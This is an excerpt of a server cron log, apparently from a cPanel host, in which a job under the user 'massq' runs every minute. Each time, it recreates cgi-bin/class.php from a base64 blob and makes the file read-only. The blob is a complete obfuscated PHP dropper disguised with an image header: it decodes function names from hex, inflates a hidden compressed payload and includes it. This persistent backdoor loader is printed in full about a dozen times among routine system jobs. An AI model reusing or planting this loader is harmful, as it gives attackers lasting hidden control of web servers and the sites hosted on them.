Sep  1 15:48:01 server CROND[32269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:49:01 server CROND[32638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:49:01 server CROND[32639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:49:01 server CROND[32640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:50:01 server CROND[581]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 15:50:01 server CROND[582]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:50:01 server CROND[588]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 15:50:01 server CROND[589]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 15:50:01 server CROND[590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:50:01 server CROND[585]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 15:50:01 server CROND[591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:50:01 server CROND[592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:50:01 server CROND[586]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:51:01 server CROND[2239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:51:01 server CROND[2240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:51:01 server CROND[2241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:52:01 server CROND[2631]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:52:01 server CROND[2632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:52:01 server CROND[2633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:53:01 server CROND[3026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:53:01 server CROND[3028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:53:01 server CROND[3027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:54:01 server CROND[3408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:54:01 server CROND[3409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:54:01 server CROND[3411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:55:01 server CROND[3792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:55:01 server CROND[3795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:55:01 server CROND[3794]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:55:01 server CROND[3797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:55:01 server CROND[3799]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 15:55:01 server CROND[3796]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 15:55:01 server CROND[3798]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:56:01 server CROND[4623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:56:01 server CROND[4624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:56:01 server CROND[4625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:57:01 server CROND[5103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:57:01 server CROND[5105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:57:01 server CROND[5104]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 15:57:01 server CROND[5106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:58:01 server CROND[5492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:58:01 server CROND[5493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:58:01 server CROND[5494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:59:01 server CROND[5876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:59:01 server CROND[5877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:59:01 server CROND[5879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:00:01 server CROND[6264]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 16:00:01 server CROND[6266]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 16:00:01 server CROND[6273]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:00:01 server CROND[6279]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 16:00:01 server CROND[6278]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
